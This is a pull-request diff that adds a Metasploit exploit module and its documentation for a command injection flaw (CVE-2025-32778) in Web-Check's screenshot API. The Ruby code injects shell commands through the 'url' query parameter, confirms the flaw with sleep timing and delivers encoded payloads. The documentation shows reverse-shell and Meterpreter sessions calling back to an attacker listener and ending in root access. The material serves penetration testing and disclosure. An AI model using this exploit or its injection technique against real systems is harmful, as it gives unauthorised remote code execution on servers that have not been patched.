Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
110 changes: 110 additions & 0 deletions documentation/modules/exploit/multi/http/web_check_screenshot_rce.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,110 @@
## Vulnerable Application

This module exploits a command injection vulnerability in Web-Check's `/api/screenshot` endpoint.
The vulnerability exists in versions before commit 0e4958aa10b2650d32439a799f6fc83a7cd46cef.

1. Clone the repository and checkout the vulnerable version:
```
git clone https://github.com/Lissy93/web-check.git
cd web-check
git checkout 0e4958aa10b2650d32439a799f6fc83a7cd46cef~1
```

2. Create a `docker-compose.yml` file:
```
cat > docker-compose.yml << 'EOF'
services:
web-check:
container_name: web-check-vuln
build:
context: .
dockerfile: Dockerfile
ports:
- 3000:3000
environment:
- CHROME_PATH=/usr/bin/chromium
- PORT=3000
restart: unless-stopped
EOF
```

3. Build and run with Docker:
```
docker compose up -d
```

4. Verify the application is running at http://localhost:3000

## Verification Steps

1. Start msfconsole
2. Do: `use exploit/multi/http/web_check_screenshot_rce`
3. Do: `set RHOSTS localhost`
4. Do: `set RPORT 3000`
5. Do: `set LHOST <docker_gateway_ip>`
6. Do: `run`
7. You should get a meterpreter session.

## Options

This module uses standard HTTP options.

## Scenarios

### Meterpreter Reverse TCP

```
msf > use exploit/multi/http/web_check_screenshot_rce
[*] No payload configured, defaulting to cmd/linux/http/aarch64/meterpreter/reverse_tcp
msf exploit(multi/http/web_check_screenshot_rce) > set RHOSTS 172.23.0.2
RHOSTS => 172.23.0.2
msf exploit(multi/http/web_check_screenshot_rce) > set RPORT 3000
RPORT => 3000
msf exploit(multi/http/web_check_screenshot_rce) > set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcp
PAYLOAD => cmd/linux/http/x64/meterpreter/reverse_tcp
msf exploit(multi/http/web_check_screenshot_rce) > set LHOST 172.17.0.1
LHOST => 172.17.0.1
msf exploit(multi/http/web_check_screenshot_rce) > set LPORT 4444
LPORT => 4444
msf exploit(multi/http/web_check_screenshot_rce) > run
[*] Started reverse TCP handler on 172.17.0.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. Command injection vulnerability confirmed via sleep timing
[*] Sending stage (3090404 bytes) to 172.23.0.2
[*] Meterpreter session 1 opened (172.17.0.1:4444 -> 172.23.0.2:52296) at 2025-12-18 18:44:37 +0100

meterpreter > sysinfo
Computer : 172.23.0.2
OS : Debian 11.9 (Linux 6.14.0-116036-tuxedo)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
```

### Reverse Shell Bash

```
msf > use exploit/multi/http/web_check_screenshot_rce
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
msf exploit(multi/http/web_check_screenshot_rce) > set RHOSTS 172.23.0.2
RHOSTS => 172.23.0.2
msf exploit(multi/http/web_check_screenshot_rce) > set RPORT 3000
RPORT => 3000
msf exploit(multi/http/web_check_screenshot_rce) > set PAYLOAD cmd/unix/reverse_bash
PAYLOAD => cmd/unix/reverse_bash
msf exploit(multi/http/web_check_screenshot_rce) > set LHOST 172.17.0.1
LHOST => 172.17.0.1
msf exploit(multi/http/web_check_screenshot_rce) > set LPORT 4444
LPORT => 4444
msf exploit(multi/http/web_check_screenshot_rce) > run
[*] Started reverse TCP handler on 172.17.0.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. Command injection vulnerability confirmed via sleep timing
[*] Command shell session 2 opened (172.17.0.1:4444 -> 172.23.0.2:44860) at 2025-12-18 18:46:23 +0100

id
uid=0(root) gid=0(root) groups=0(root)
echo "Hacking is good"
Hacking is good
```

132 changes: 132 additions & 0 deletions modules/exploits/multi/http/web_check_screenshot_rce.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,132 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rex/stopwatch'

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Web-Check Screenshot API Command Injection RCE',
'Description' => %q{
This module exploits a command injection vulnerability in Web-Check's `/api/screenshot` endpoint.
The `directChromiumScreenshot()` function uses `child_process.exec()` with unsanitized user input,
allowing command injection via URL query parameters. The vulnerability was patched in commit
0e4958aa10b2650d32439a799f6fc83a7cd46cef by replacing `exec()` with `execFile()`.
},
'Author' => [
'Valentin Lobstein <chocapikk[at]leakix.net>' # Metasploit module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2025-32778'],
['URL', 'https://github.com/Lissy93/web-check'],
['URL', 'https://github.com/Lissy93/web-check/commit/0e4958aa10b2650d32439a799f6fc83a7cd46cef']
],
'Platform' => %w[unix linux win],
'Arch' => [ARCH_CMD],
'Payload' => {
'Space' => 131068,
'DisableNops' => true,
'Encoder' => 'cmd/base64'
},
'Targets' => [
[
'Unix/Linux Command',
{
'Platform' => %w[unix linux],
'Arch' => ARCH_CMD
# tested with cmd/unix/reverse_bash
# tested with cmd/linux/http/x64/meterpreter/reverse_tcp
}
],
[
'Windows Command',
{
'Platform' => 'win',
'Arch' => ARCH_CMD
# tested with cmd/windows/http/x64/meterpreter/reverse_tcp
}
]
],
'Privileged' => false,
'DisclosureDate' => '2025-04-12',
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => 3000
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)

register_options([
OptString.new('TARGETURI', [true, 'The base path to Web-Check', '/'])
])
end

def build_url(command = nil)
return Faker::Internet.url if command.nil?

param = Faker::Alphanumeric.alphanumeric(number: rand(4..10))
"http://#{Faker::Internet.domain_name}?#{param}=\";#{command}\""
end

def send_screenshot_request(command = nil)
url = build_url(command)
send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'api', 'screenshot'),
'method' => 'GET',
'vars_get' => { 'url' => url }
})
end

def check
res, baseline_elapsed = Rex::Stopwatch.elapsed_time do
send_screenshot_request
end

return CheckCode::Unknown("#{peer} - No response from web service") unless res
return CheckCode::Safe('Screenshot API endpoint not found') if res.code == 404

network_latency = [baseline_elapsed, 0.3].max
vprint_status("Testing command injection (baseline: #{baseline_elapsed.round(2)}s)")
sleep_tests = [2, 3, 4].map do |duration|
_, elapsed = Rex::Stopwatch.elapsed_time do
send_screenshot_request("sleep #{duration}")
end
threshold = duration - network_latency
vprint_status("Sleep #{duration}s: #{elapsed.round(2)}s (threshold: #{threshold.round(2)}s)")
{ elapsed: elapsed, threshold: threshold }
end

passed_tests = sleep_tests.count { |test| test[:elapsed] >= test[:threshold] }

case passed_tests
when 2..3
return CheckCode::Vulnerable('Command injection vulnerability confirmed via sleep timing')
when 1
return CheckCode::Appears('Screenshot API endpoint exists and may be vulnerable')
end

return CheckCode::Appears('Screenshot API endpoint exists but RCE not confirmed') if res.code == 200 && res.body.to_s.include?('image')

CheckCode::Unknown('Could not determine vulnerability status')
end

def exploit
vprint_status('Sending payload via screenshot API')
send_screenshot_request(payload.encoded)
end
end